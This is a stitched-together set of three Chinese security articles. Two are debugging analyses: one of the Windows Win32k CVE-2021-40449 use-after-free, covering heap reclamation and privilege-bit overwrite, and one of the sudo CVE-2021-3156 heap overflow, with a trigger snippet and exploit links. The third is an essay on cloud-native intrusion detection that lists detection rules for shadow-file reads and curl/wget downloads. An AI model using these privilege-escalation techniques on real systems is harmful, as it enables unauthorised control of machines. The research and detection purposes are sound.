// 计算公式 *(dco地址+0x30)=dc地址
1: kd> dq ffffd50e`041fd010+0x30
ffffd50e`041fd040 ffffd50e`00052030 00000000`00000000
ffffd50e`041fd050 ffffd800`b56f1260 00000009`1000a01f
ffffd50e`041fd060 ffffd50e`041fd3d0 00000000`0088000b
ffffd50e`041fd070 ffffd50e`000004f0 ffffd50e`00005d90
ffffd50e`041fd080 00000001`00000000 00000000`00000000
ffffd50e`041fd090 00000000`00000000 00000000`00000000
ffffd50e`041fd0a0 ffffd50e`00001a10 ffffd50e`00004cb0
ffffd50e`041fd0b0 ffffd50e`000105f0 00000000`00000000
// ffffd50e`00052030+0xad0处为DC对象的函数指针，该指针指向了一个函数
// 计算公式 *(dc地址 +0xad0)=函数地址
1: kd> dq ffffd50e`00052030+0xad0
ffffd50e`00052b00 ffffd548`a1f10c30 ffffd548`a1db18c0
ffffd50e`00052b10 00000000`00000000 00000000`00000000
ffffd50e`00052b20 00000000`00000000 ffffd548`a1f10930
ffffd50e`00052b30 00000000`00000000 ffffd548`a1f11dc0
ffffd50e`00052b40 ffffd548`a1f0e6b0 ffffd548`a1f11b00
ffffd50e`00052b50 00000000`00000000 ffffd548`a1f0cd70
ffffd50e`00052b60 ffffd548`a1f0d1f0 ffffd548`a1f112f0
ffffd50e`00052b70 00000000`00000000 00000000`00000000
// 以下为函数的汇编
1: kd> u ffffd548`a1f10c30
win32kfull!UMPDDrvResetPDEV:
ffffd548`a1f10c30 48895c2418 mov qword ptr [rsp+18h],rbx
ffffd548`a1f10c35 4889742420 mov qword ptr [rsp+20h],rsi
ffffd548`a1f10c3a 57 push rdi
ffffd548`a1f10c3b 4883ec70 sub rsp,70h
ffffd548`a1f10c3f 488b05ba440800 mov rax,qword ptr [win32kfull!_security_cookie (ffffd548`a1f95100)]
ffffd548`a1f10c46 4833c4 xor rax,rsp
ffffd548`a1f10c49 4889442468 mov qword ptr [rsp+68h],rax
ffffd548`a1f10c4e 488bf9 mov rdi,rcx
之后通过hdcOpenDCW函数调用用户模式的回调函数，在回调函数中再次调用ResetDC函数，此时传入的HDC和第一次调用ResetDC的是同一个句柄。
第二次调用`win32kfull!GreResetDCInternal` 时，传入同一个HDC句柄，即对应同一个DC对象。
0: kd> t
win32kfull!GreResetDCInternal:
ffffd548`a1f03e58 488bc4 mov rax,rsp
1: kd> rrcx
rcx=00000000092105f1
第二次调用DCOBJ构造函数时，由于传入的是同一个HDC句柄，所以HDC句柄引用次数+1，同时两次调用构造函数构造的对象关联到同一个DC对象。
之后第二次调用win32kfull!_imp_hdcOpenDCW函数，在该函数内执行政策回调函数，win32kfull!imp_hdcOpenDCW返回一个HDC句柄值为`0000000003210041`，即创建了一个新的DC对象。之后通过新创建的DC对象创建DCO对象。
在win32kfull!GreResetDCInternal后半段会调用win32kfull!_imp_HmgSwapLockedHandleContents交换第一个HDC句柄和第二次调用win32kfull!imp_hdcOpenDCW创建的HDC句柄。
调用win32kfull!_imp_HmgSwapLockedHandleContents之后两个句柄对应的DC内容为已经发生了交换
// 以下内容为旧DC对象，但是句柄为新句柄
1: kd> dq ffffd50e041fd010
ffffd50e`041fd010 00000000`03210041 80000001`00000000
......
1: kd> dq ffffd50e03fee010
// 以下内容为新DC对象，但句柄为旧句柄
ffffd50e`03fee010 00000000`092105f1 80000002`00000000
......
之后调用win32kfull!_imp_bDeleteDCInternal传入HDC句柄，该函数会释放HDC句柄对应的DC对象，而此时传入该函数的HDC句柄为第二次调用hdcOpenDCW函数返回的句柄，但之前交换过新旧句柄，所以实际上释放的是旧HDC句柄对应的DC对象。
之前计算函数指针的时候，我们知道DCO
+0x30是指向DC对象的指针，所以在调用win32kfull!_imp_bDeleteDCInternal函数之后，原DC对象的内存空间已经被释放，达成了use-after-free的第一步free。
> function pointer= _(_ (DCO +0x30)+0xad0)，其中DCO +0x30即指向DC对象的指针
0: kd> dq ffffd50e041fd010+0x30 // 取DC对象地址
ffffd50e`041fd040 ffffd50e`00052030 00000000`00000000
......
0: kd> !pool ffffd50e`00052030 // DC对象的内存已被释放，大小为e30
Pool page ffffd50e00052030 region is Paged session pool
*ffffd50e00052000 size: e30 previous size: 0 (Free ) *GDev
Pooltag GDev : Gdi pdev
ffffd50e00052e30 size: 10 previous size: e30 (Free) Free
ffffd50e00052e40 size: 1c0 previous size: 10 (Allocated) Usqu
之后只需要申请这块内存空间并构造，刚删除的时候，虽然DC对象已经被释放，但函数指针还是指向正确的函数地址，接下来就要申请空间，覆盖这块内存空间的函数指针的值即可。
0: kd> dq ffffd50e041fd010+0x30 // 取DC对象地址
ffffd50e`041fd040 ffffd50e`00052030 00000000`00000000
0: kd> dq ffffd50e`00052030+0xad0 // 取DC对象内的函数指针
ffffd50e`00052b00 ffffd548`a1f10c30 ffffd548`a1db18c0
0: kd> u ffffd548`a1f10c30
win32kfull!UMPDDrvResetPDEV:
ffffd548`a1f10c30 48895c2418 mov qword ptr [rsp+18h],rbx
ffffd548`a1f10c35 4889742420 mov qword ptr [rsp+20h],rsi
ffffd548`a1f10c3a 57 push rdi
ffffd548`a1f10c3b 4883ec70 sub rsp,70h
ffffd548`a1f10c3f 488b05ba440800 mov rax,qword ptr [win32kfull!_security_cookie (ffffd548`a1f95100)]
ffffd548`a1f10c46 4833c4 xor rax,rsp
ffffd548`a1f10c49 4889442468 mov qword ptr [rsp+68h],rax
ffffd548`a1f10c4e 488bf9 mov rdi,rcx
#### use 部分
注：此部分为第二次调试，所以句柄、内存地址和前部分不一样。
在poc里面会调用CreatePalette函数，该此函数会申请内核堆，
第一个句柄`rcx=0000000015213372`
// 第一个DCO对象
0: kd> dq rbx
DBGHELP: SharedUserData - virtual symbol module
ffff885e`847d2620 00000000`15213372 80000001`00000000
......
// 第一个PDC 指向DC对象
0: kd> dq ffff885e`847d2620+0x30
ffff885e`847d2650 ffff885e`80063030 00000000`00000000
......
// 第一个DC对象
0: kd> dq ffff885e`80063030
ffff885e`80063030 00000000`00000000 00000000`00000000
ffff885e`80063040 00000000`00000000 ffff885e`80046010
ffff885e`80063050 00000001`00000001 ffff885e`80063030
ffff885e`80063060 00000000`00000000 00000000`00008180
ffff885e`80063070 ffffb48d`a36b4e50 00000000`00000000
ffff885e`80063080 00000000`00000000 00000000`00000000
ffff885e`80063090 00000000`00000000 00000000`00000000
ffff885e`800630a0 00000000`00000000 00000000`00000000
第二个句柄`rax=0000000001211b60`
1: kd> dq rdx
DBGHELP: SharedUserData - virtual symbol module
ffff885e`84121620 00000000`01211b60 80000001`00000000
......
1: kd> dq rdx+0x30
ffff885e`84121650 ffff885e`8006b030 00000000`00000000
......
1: kd> dq ffff885e`8006b030
ffff885e`8006b030 00000000`00000000 00000000`00000000
ffff885e`8006b040 00000000`00000000 ffff885e`80063030
ffff885e`8006b050 00000001`00000001 ffff885e`8006b030
ffff885e`8006b060 00000000`00000000 00000000`00008180
ffff885e`8006b070 ffffb48d`a317b8b0 00000000`00000000
ffff885e`8006b080 00000000`00000000 00000000`00000000
ffff885e`8006b090 00000000`00000000 00000000`00000000
ffff885e`8006b0a0 00000000`00000000 00000000`00000000
在DeleteDCInternel调用之后第一个DC对象的内存空间已经被释放
0: kd> !pool ffff885e`80063030
// 注意，此时DC对象地址距离堆头地址为0x30大小
Pool page ffff885e80063030 region is Paged session pool
*ffff885e80063000 size: e30 previous size: 0 (Free ) *GDev
Pooltag GDev : Gdi pdev
ffff885e80063e30 size: 70 previous size: e30 (Free) Free
ffff885e80063ea0 size: b0 previous size: 70 (Free ) Usqm
ffff885e80063f50 size: b0 previous size: b0 (Allocated) Usqm
根据调试，可以得知释放的DC对象内存大小为0xe30，所以要覆盖函数指针时，所申请的内存也要刚刚好或者接近这块内存大小才有可能申请到。在poc里面，使用CreatePalette申请这块内核堆。这个函数会通过系统调用进入内核函数win32kfull!NtGdiCreatePaletteInternal，该函数调用win32kbase!PALMEMOBJ::bCreatePalette创造Palette对象，win32kbase!PALMEMOBJ::bCreatePalette会调用AllocateObject为新对象申请空间，最终通过调用ExAllocatePoolWithTag函数分配堆空间，整个调用栈如下：
0: kd> kb
# RetAddr : Call Site
00 ffff880c`b95d39f4 : win32kbase!Win32AllocPool
01 ffff880c`b95d0042 : win32kbase!AllocateObject+0xc4
02 ffff880c`b9309ecc : win32kbase!PALMEMOBJ::bCreatePalette+0xb2
03 fffff800`b175a193 : win32kfull!NtGdiCreatePaletteInternal+0xcc
04 00007ffe`a2cb2604 : nt!KiSystemServiceCopyEnd+0x13
05 00007ff7`e44c2fe1 : win32u!NtGdiCreatePaletteInternal+0x14
06 00000000`00000d94 : cve_2021_40449!createPaletteofSize1+0xd1 [C:\Users\mimi\source\repos\test\cve-2021-40449\main.cpp @ 71]
.......
2e 00007ffe`a2e9b26f : 0x000000d1`a374ef69
2f 00007ffe`a39e1a4a : gdi32full!GdiPrinterThunk+0x21f
30 00007ffe`a61889e4 : USER32!__ClientPrinterThunk+0x3a
31 00007ffe`a2cb6dc4 : ntdll!KiUserCallbackDispatcherContinue
32 00007ffe`a2e7edda : win32u!NtGdiResetDC+0x14
33 00007ffe`a3682371 : gdi32full!ResetDCWInternal+0x17a
34 00007ff7`e44c3296 : GDI32!ResetDCW+0x31
35 00000000`00000000 : cve_2021_40449!main+0x146 [C:\Users\mimi\source\repos\test\cve-2021-40449\main.cpp @ 685]
win32kbase!Win32AllocPool代码如下，最终是通过调用`ExAllocatePoolWithTag`申请堆，win32kbase!Win32AllocPool的a1参数为要申请的堆内存大小，调试过程中可以得知其要申请0xe20大小的堆，加上堆头，刚好接近刚释放的0xe3大小的堆空间大小。
__int64 __fastcall Win32AllocPool(__int64 a1, unsigned int a2)
{
unsigned int v2; // ebx
__int64 v3; // rdi
__int64 result; // rax
v2 = a2;
v3 = a1;
if ( (signed int)IsWin32AllocPoolImplSupported_0() < 0 )
result = 0i64;
else
result = Win32AllocPoolImpl_0(33i64, v3, v2);
return result;
}
同时在Poc代码分析里面分析了DC对象函数指针和堆头之间的位置关系，所以通过构造传入CreatePalette的LOGPALETTE结构可以刚刚好覆盖原DC对象内的函数指针以及该函数指针要调用的参数，内存分布具体见<https://github.com/CppXL/cve-2021-40449-poc/blob/master/main.cpp>
里面的注释。
通过函数指针调用RtlSetAllBits函数并传入RtklBitMap型指针，其中RtlBitMap的buffer指向POC进程自身的权限位，如下图：
typedef struct _RTL_BITMAP {
ULONG SizeOfBitMap;
ULONG *Buffer;
} RTL_BITMAP, *PRTL_BITMAP;
0: kd> dq ffff885e80063000+0x750 // 此处为RtlBitMap地址
ffff885e`80063750 ffffb48d`a3839010 ffffffff`ffffffff
ffff885e`80063760 ffffffff`ffffffff ffffffff`ffffffff
ffff885e`80063770 ffffffff`ffffffff ffffffff`ffffffff
ffff885e`80063780 ffffffff`ffffffff ffffffff`ffffffff
ffff885e`80063790 ffffffff`ffffffff ffffffff`ffffffff
ffff885e`800637a0 ffffffff`ffffffff ffffffff`ffffffff
ffff885e`800637b0 ffffffff`ffffffff ffffffff`ffffffff
ffff885e`800637c0 ffffffff`ffffffff ffffffff`ffffffff
0: kd> dq ffffb48d`a3839010 // 此处存放了RtlBitMap结构，0x00-0x08为size，0x08-0x10为buffer指针，指向了自身的权限位
ffffb48d`a3839010 00000000`00000080 ffffde8f`1fb2e9d0
ffffb48d`a3839020 41414141`41414141 41414141`41414141
ffffb48d`a3839030 00000000`00000000 00000000`00000000
ffffb48d`a3839040 00000000`00000000 00000000`00000000
ffffb48d`a3839050 00000000`00000000 00000000`00000000
ffffb48d`a3839060 00000000`00000000 00000000`00000000
ffffb48d`a3839070 00000000`00000000 00000000`00000000
ffffb48d`a3839080 00000000`00000000 00000000`00000000
0: kd> dq ffffde8f`1fb2e9d0
ffffde8f`1fb2e9d0 00000006`02880000 00000000`00800000
ffffde8f`1fb2e9e0 00000000`00800000 00000000`00000000
ffffde8f`1fb2e9f0 00000000`00000000 00000000`00000000
ffffde8f`1fb2ea00 20010000`00000000 0000000f`00000001
ffffde8f`1fb2ea10 000001e0`00000000 00000000`00001000
ffffde8f`1fb2ea20 00000000`00000000 ffffde8f`1fb2ee18
ffffde8f`1fb2ea30 00000000`00000000 ffffde8f`1f1007f0
ffffde8f`1fb2ea40 ffffde8f`1f1007f0 ffffde8f`1f10080c
调用DC里面的函数指针之前，自身权限位为正常权限。
调用函数指针之后，可以看到权限位全部置为了1
#### 补丁分析
在 **漏洞利用分析**
里面分析过漏洞形成原因是因为在调用GreResetDCInternal函数时，使用DC对象指针的时候没有检查DC对象是否异常。而利用该漏洞是通过在调用回调函数时调用ResetDC实现的。
我们再次回顾一下漏洞函数，在调用hdcOpenDCW也就是在调用回调函数之前会通过DCO的构造函数从DC构造DCO对象，在基本概念中知道，内核对象每被引用一次则对象引用计数器值会加一。调用构造函数时，DC对象引用加一，正常情况下此时DC对象引用次数要为1。如果在回调函数中再次调用ResetDC，则会第二次调用GreResetDCInternal，再次调用DCO的构造函数，DC对象引用再次加一，此时引用次数为2。
所以判断DC对象异常可以通过判断DC对象的引用次数实现。
__int64 __usercall GreResetDCInternal@<rax>(HDC a1@<rcx>, __int64 a2@<rdx>, int *a3@<r8>)
{
__int64 v24; // [rsp+50h] [rbp-20h]
__int64 v25; // [rsp+60h] [rbp-10h]
DCOBJ::DCOBJ((DCOBJ *)&v25, a1); // 利用构造函数从HDC创建DCOBJ对象
v8 = v25;
··········
v10 = *(_QWORD *)(v8 + 48); // 赋值
*(_QWORD *)(v10 + 1736) = 0i64;
v24 = v11;
·······
v9 = *(_QWORD *)(v25 + 512) != 0i64;
v12 = *(_DWORD *)(v25 + 120) > 0;
·······
v13 = (HDC)hdcOpenDCW(&qword_1C0141EB0, v26, 0i64, 0i64, *(_QWORD *)(v10 + 2584));// 创建新的DC对象，返回对应的HDC句柄
if ( v13 )
{
*(_QWORD *)(v10 + 2584) = 0i64;
DCOBJ::DCOBJ((DCOBJ *)&v24, v13);
v14 = (_QWORD *)v24;
if ( v24 )
{
if ( v12 )
*(_DWORD *)(v24 + 120) = *(_DWORD *)(v24 + 116);
v14[308] = *(_QWORD *)(v25 + 2464);
*(_QWORD *)(v25 + 2464) = 0i64;
v14[309] = *(_QWORD *)(v25 + 2472);
*(_QWORD *)(v25 + 2472) = 0i64;
v15 = *(void (__fastcall **)(_QWORD, _QWORD))(v10 + 2768);
if ( v15 )
v15(*(_QWORD *)(v10 + 1824), *(_QWORD *)(v14[6] + 1824i64));// 调用函数指针指向的函数，传入参数为用户传入的HDC对应的DC对象内的值
·······
HmgSwapLockedHandleContents(v3, 0i64, v6, 0i64, v23);// 交换旧的和新的HDC对象
GreReleaseHmgrSemaphore();
······
bDeleteDCInternal(v6, 1i64, 0i64); // 删除了hdcOpenDCW分配的HDC，但前面经过HmgSwapLockedHandleContents交换了句柄，实际删除的是旧的HDC
······
在补丁中，增加了对DC对象引用次数进行判断的逻辑，如果在GreResetDCInternal函数中DC对象引用次数大于1则表明已经发生异常，进入异常逻辑抛出错误(因为按正常流程此处DC对象引用次数应为不应该大于1)。
__int64 __fastcall sub_1C014CB0C(__int64 a1, __int64 a2, int *a3)
{
......
int *v30; // [rsp+30h] [rbp-1h]
.....
v9 = (__int64)v30;
if ( !v30 )
{
LABEL_6:
EngSetLastError(6i64);
LABEL_7:
v13 = (__int64)v30;
goto LABEL_8;
}
if ( *((_WORD *)v30 + 6) > 1u )
{
if ( *(_DWORD *)&stru_1C032C3F8.Length > 5u && (unsigned __int8)sub_1C00B5068(&stru_1C032C3F8, 0x400000000000i64) )
{
v31 = &v25;
v30 = &v26;
v29 = &v28;
v28 = 0x1000000i64;
SysEntryGetDispatchTableValues(v10, (__int64)&unk_1C02F466B, v11, v12);
}
goto LABEL_6;
}
参考链接：
> <https://www.secrss.com/articles/35266>
>
> <https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ>
>
> [<https://bbs.pediy.com/thread-269930.htm](> | 社区文章 |
## 什么是云原生
以下是云原生计算基金会（CNCF）对云原生的定义：
> Cloud native technologies empower organizations to build and run scalable
> applications in modern, dynamic environments such as public, private, and
> hybrid clouds. Containers, service meshes, microservices, immutable
> infrastructure, and declarative APIs exemplify this approach.
云原生技术有利于各组织在公有云、私有云和混合云等新型动态环境中，构建和运行可弹性扩展的应用。云原生的代表技术包括容器、服务网格、微服务、不可变基础设施和声明式API。
> These techniques enable loosely coupled systems that are resilient,
> manageable, and observable. Combined with robust automation, they allow
> engineers to make high-impact changes frequently and predictably with
> minimal toil.
这些技术能够构建容错性好、易于管理和便于观察的松耦合系统。结合可靠的自动化手段，云原生技术使工程师能够轻松地对系统作出频繁和可预测的重大变更。
## 趋势一：资产多样化
在IDC时代与企业上云初期，由于企业应用的部署环境均以linux/windows为主，因此反入侵产品多以解决主机安全为主要目标。这一阶段入侵检测方法论是在做"猫捉老鼠"式的单点对抗（一个例子是参照ATT&CK构建入侵检测模型），作为入侵检测一线实践者，我们看到各厂商的检测点大多围绕linux/windows的细节攻防点展开。
例如HIDS产品中这样的模型：
1. 检测/etc/passwd /etc/shadow /etc/crontab的读写行为
2. 检测windows注册表异常操作
3. 检测powershell hidden执行异常指令
4. 检测java应用通过wget/curl指令下载二进制文件并启动
云原生时代，企业的核心资产除主机(VM)外，还有容器(Docker、K8s)以及诸多云服务，"主机安全"只是其中一部分。例如容器安全厂商 twistlock
的资产管理与可视化维度：
反入侵需要cover的"资产"形态将变得复杂，资产梳理、监控、可视化、ACL将更加困难。
部分资产生命周期大幅缩短，甚至秒级释放，这些高弹性的环境使攻击者的持久化更加困难，实时的入侵检测与响应或变的不再必要。
## 趋势二：服务碎片化
自Pivotal公司的Matt
Stine于2013年首次提出云原生（CloudNative）的概念以来，几乎所有云原生的定义都包含微服务。微服务架构将复杂应用按function切分，使服务解耦，内聚更强，变更更易。
在此场景下，审计与管控边界由"网关/主机"变成了"服务/API"，系统内部的原子服务间的通信将变得复杂，难以实施管控与审计。主机粒度的"微隔离"技术将不能满足应用级别的审计需求，安全边界将由业务定义。
Microservices "Death Star":
NeuVector K8s Pod粒度的流量审计:
## 趋势三：中间件井喷
容器作为云原生的基础设施，已经被各云厂商产品化。在这一过程中，各厂商serverless的实现标准、容器隔离方案、依赖的中间件以及需要用户承担的风险各不相同。
CNCF Cloud Native Landscape:
一个常见的攻击场景：企业在K8s集群中引入了不安全的第三方插件。攻击者进入Pod后，通过未授权访问或漏洞攻击第三方组件，并利用这些组件的高权限账户操纵K8s集群。
传统的入侵检测方案，从对漏洞和攻击面的角度出发，梳理出主流中间件及应用的攻击手法，希望尽可能覆盖已知漏洞的利用方式。面对云原生中间件的爆发，企业在构建应用时的依赖及其复杂，任何一个组织或厂商所掌握的"漏洞库"已经难以满足其客户需求，这对安全产品的漏洞/攻击面管理能力提出了更大挑战。
## 趋势四：基础设施默认安全
下图简要描述了企业应用在容器化的不同阶段，云上用户自担的安全责任区（深蓝色）、用户与厂商共担区间（浅蓝色）以及云厂商默认安全区间（灰色）的变化情况。
从传统的VM上直接部署业务，到VM+容器、VM自建K8s集群、再到购买云厂商提供的K8s托管服务、云厂商的轻量级容器服务以及serverless，随着业务容器化的程度加深，用户的"安全责任区"逐步上移，对基础设施的安全需求（也是安全产品的价值空间）逐步减小。
一种传统主机安全的入侵检测思路是"用底层日志解决上层问题"：
1. 当流量层遭遇混淆对抗时，入侵检测能力下沉到端上用户态行为审计，这样就可以避免对每个web漏洞case by case的覆盖，降低同一维度对抗成本。
2. 用户态行为遭遇对抗时，战场还可以继续深入到kernel层（如提权逃逸类的检测）。
在云厂商提供的服务中，随着底层基础设施用户不可触达，这种更深层次的对抗逐渐成为服务商的特权，第三方安全厂商将难以向云服务部署自己的探针，相反，云厂商将结合自身的服务架构赋予用户侧更强的安全能力，包括检测的下沉以及云原生的"检测-响应-修复"闭环流程。
## 结论：入侵检测"业务化"，行为分析将成为核心能力
无论是从云服务的普及还是microservice的复杂程度来看，API通信都行为将成为服务间交互的重要一环，越来越多本地无鉴权的API通信将从转向有鉴权的服务框架。反入侵对于底层资产的监控趋于复杂的同时，UEBA技术将在业务层发挥更重要的作用。
试想在云原生场景中，攻击者通过WEB漏洞入侵云厂商的弹性容器服务，容器内部没有常见的linux命令和依赖库（甚至在某些serverless场景下无法写文件），且容器逃逸问题已被云厂商默认解决，攻击者只能通过服务自身权限或窃取本地API通信凭证进行横向移动。在此情况下，对API访问行为的分析将成为反入侵的有效手段，它具有足够的可行性和通用性，是适合产品化的技术点。
事实上身份认证、鉴权、UEBA以及数据安全是一个整体设计，这一点零信任架构的已经给出了实践。其尝试对任何接入系统的人/事/物进行认证，构筑在认证之上的入侵检测，实体画像、行为分析会其是必不可少的部分。
从技术成熟度来看，用户画像及行为分析已经在搜索推荐和风控领域得到广泛的验证。借鉴这些赛道的经验，我们已经将图计算落地在检测和响应阶段，实现对安全事件链路更长、时间跨度更久的分析。在未来高度API化的场景中，基础攻防将进一步"业务"化，我们将看到端数据、API日志与威胁情报在更高维度的结合。
## ref
* <https://landscape.cncf.io/>
* <https://jimmysong.io/kubernetes-handbook/cloud-native>
* <https://www.twistlock.com/>
* <https://www.aquasec.com/> | 社区文章 |
# CVE-2021-3156调试分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近才爆出的sudo提权漏洞，危害十分大，能够影响到20.04版本。本文是根据原作者文章学习所得，如有错误，敬请各位大佬斧正，万分感谢。
## 漏洞环境
**操作系统** ：ubuntu 18.04.1
**sudo** ：1.8.21p2
**glibc** ：2.27
**exp** ：<https://github.com/blasty/CVE-2021-3156.git>
## 漏洞分析
CVE-2021-3156 ——sudo在处理单个反斜杠结尾的命令时，发生逻辑错误，存在堆溢出漏洞。当 sudo通过 -s 或 -i命令行选项在
shell模式下运行命令时，他将在命令参数中使用反斜杠转义特殊字符。但使用 -s或 -i标志运行 sudoedit时，实际上并未进行转义，从而导致堆溢出。
### 代码分析
sudo加上 -s选项会设置 MODE_SHELL，加上 -i选项会设置 MODE_SHELL和 MODE_LOGIN_SHELL。在
main()（sudo.c）函数中调用了parse_args()，parse_args()会连接所有命令行参数，并给元字符加反斜杠来重写 argv。
//sudo.c
/* Parse command line arguments. */
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode);
parse_args()下面一段代码的主要功能是先判断是否启用了 -s或 -i的 MODE_SHELL，如果启用了就对参数前面加上反斜杠重写参数。
//parse_args.c parse_args()
/*
* For shell mode we need to rewrite argv
*/
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //检查是否开启 MODE_SHELL
char **av, *cmnd = NULL;
int ac = 1;
if (argc != 0) {
/* shell -c "command" */
char *src, *dst;
size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
strlen(argv[argc - 1]) + 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
if (cmnd == NULL)
sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
if (!gc_add(GC_PTR, cmnd))
exit(1);
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\'; //添加反斜杠
*dst++ = *src; //原参数
}
*dst++ = ' ';
}
if (cmnd != dst)
dst--; /* replace last space with a NUL */
*dst = '\0';
ac += 2; /* -c cmnd */
}
在sudoers_policy_main()中调用了 set_cmnd()函数
//sudoers.c sudoers_policy_main()
/* Find command in path and apply per-command Defaults. */
cmnd_status = set_cmnd();
if (cmnd_status == NOT_FOUND_ERROR)
goto done;
在 set_cmnd()函数中，首先根据参数使用 strlen()函数计算了参数的 size，再调用 malloc()函数分配了 size大小的堆空间
user_args 。随后判断是否开启了 MODE_SHELL，如果开启了将会 连接命令行参数并存入堆空间 user_args。
// sudoers.c set_cmnd()
/* set user_args */
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //检查是否开启 MODE_SHELL或MODE_LOGIN_SHELL
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
for (to = user_args, av = NewArgv + 1; (from = *av); av++) { //from指向 命令参数
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++; //将from拷贝到 user_args
}
*to++ = ' ';
}
*--to = '\0';
} else {
for (to = user_args, av = NewArgv + 1; *av; av++) {
n = strlcpy(to, *av, size - (to - user_args));
if (n >= size - (to - user_args)) {
sudo_warnx(U_("internal error, %s overflow"), __func__);
debug_return_int(-1);
}
to += n;
*to++ = ' ';
}
*--to = '\0';
}
}
}
上面将命令行参数拷贝给堆空间的逻辑，如果命令行参数以1个反斜杠结尾例如 `$ sudo -s / 112233` ：
from[0]是反斜杠，from[1]是 null 结束符（非空格），满足如下要求 if (from[0] == '\\' && !isspace((unsigned char)from[1])) ；
所以，from 加1，指向 null 结束符；
null 结束符被拷贝到 user_args堆缓冲区， from又加1，from指向了null结束符后面第1个字符（超出参数的边界，此时为 1）；
随后会继续循环将越界字符拷贝到 user_args堆缓冲区，发生了堆溢出漏洞
### 漏洞触发
上面指出，在 parse_args()会对启用了 -s或 -i的 MODE_SHELL和 MODE_RUN 的 sudo的参数加上 反斜杠 转义。
//parse_args.c parse_args()
/*
* For shell mode we need to rewrite argv
*/
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
...
而 set_cmnd()函数中触发堆溢出前，会判断是否启用了 MODE_SHELL 和 MODE_RUN、MODE_EDIT、MODE_CHECK
中的一个。那么就存在一个矛盾，如果要触发漏洞就需要启用 MODE_SHELL，但是如果启用了 MODE_SHELL，在
parse_args()函数中就会对所有参数转义，触发漏洞的 \，将会被转义为 \\\，这样就无法触发漏洞了。
//sudoers.c set_cmnd()
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
所以这里 并没有使用 sudo，而是使用 sudoedit。原因在于如果使用 sudoedit，其还是会被软链接到使用 sudo命令，但是在
parse_args()函数中会自动设置 MODE_EDIT和不会重置 valid_flags，则 MODE_SHELL仍然在 valid_flags中
，而且不会设置 MODE_RUN,这样就能跳过 parse_args()函数中转义参数的部分，同时满足 set_cmnd()函数中漏洞触发的部分。
//parse_args.c parse_args()
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
int valid_flags = DEFAULT_VALID_FLAGS; //valid_flags默认参数包含MODE_SHELL，不包含MODE_RUN
...
/* First, check to see if we were invoked as "sudoedit". */
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT; //设置MODE_EDIT
sudo_settings[ARG_SUDOEDIT].value = "true";
}
注意：这里还要解释一下该漏洞可利用的几个有利点（参考该文）：
user_agrs堆空间的 size是可控的，就是我们输入的 命令参数合并后的长度；
我们溢出的内容是可控的，取决于我们输入的 \后的字符内容，该字符会全部被溢出写到堆块后；
可以写 null字节到 user_args，每个以单反斜杠结尾的命令行参数或环境变量，都能往user_args写1个null字节
可以写连续多个 null，环境变量并不一定得是env_name=XXX这种形式，环境变量可以是字符串数组。C代码中用execve执行shell命令，环境变量设置2个连续的\即可插入2个连续的null字节。
char *env[] = { "AAA", "\\", "\\", "BBB", NULL };
execve("/usr/bin/sudoedit", argv, env);
## 漏洞调试
### 漏洞触发点
最开始想自己编译一个 sudo，带符号的调试更方便。但是这样会导致漏洞执行不成功。所以就只有用系统自带的无符号的sudo进行调试。
首先使用如下命令运行 exp:
sduo gdb --args ./sudo-hax-me-a-sandwich 0
随后，在 execve下断点：
catch exec
再运行该 `continue`。
随后，gdb会断在 execve函数。我们在下断点 b setlocale，在继续运行，此时就会停在 setlocale函数。该函数是我们在执行
sudo最开始时会调用的。我们 finish后，就能够进入 sudo的 main函数中。
//sudo.c
int
main(int argc, char *argv[], char *envp[])
{
int nargc, ok, status = 0;
char **nargv, **env_add;
char **user_info, **command_info, **argv_out, **user_env_out;
struct sudo_settings *settings;
struct plugin_container *plugin, *next;
sigset_t mask;
debug_decl_vars(main, SUDO_DEBUG_MAIN)
/* Make sure fds 0-2 are open and do OS-specific initialization. */
fix_fds();
os_init(argc, argv, envp);
setlocale(LC_ALL, "");
...
随后，我们需要进入 set_cmnd函数。这里我是先通过 sudo的main函数运行加载完 sudoers.so动态库后，下的地址断点。通过分析
sudoers.so的汇编，能够找到下图是上面分析的漏洞代码的开始处：
//sudoers.so
.text:000000000001D988 add r13, 8
.text:000000000001D98C ; 345: v21 = strlen(av);
.text:000000000001D98C call _strlen
.text:000000000001D991 ; 346: av = *v20;
.text:000000000001D991 ; 349: while ( *v20 );
.text:000000000001D991 mov rdi, [r13+0]
.text:000000000001D995 ; 347: size += v21 + 1;
.text:000000000001D995 lea r14, [r14+rax+1]
.text:000000000001D99A test rdi, rdi
.text:000000000001D99D jnz short loc_1D988
.text:000000000001D99F ; 350: if ( !size || (user_args = (unsigned __int8 *)malloc(size), to = user_args, (qword_256970 = (__int64)user_args) == 0) )
.text:000000000001D99F test r14, r14
.text:000000000001D9A2 jz loc_1E4D0
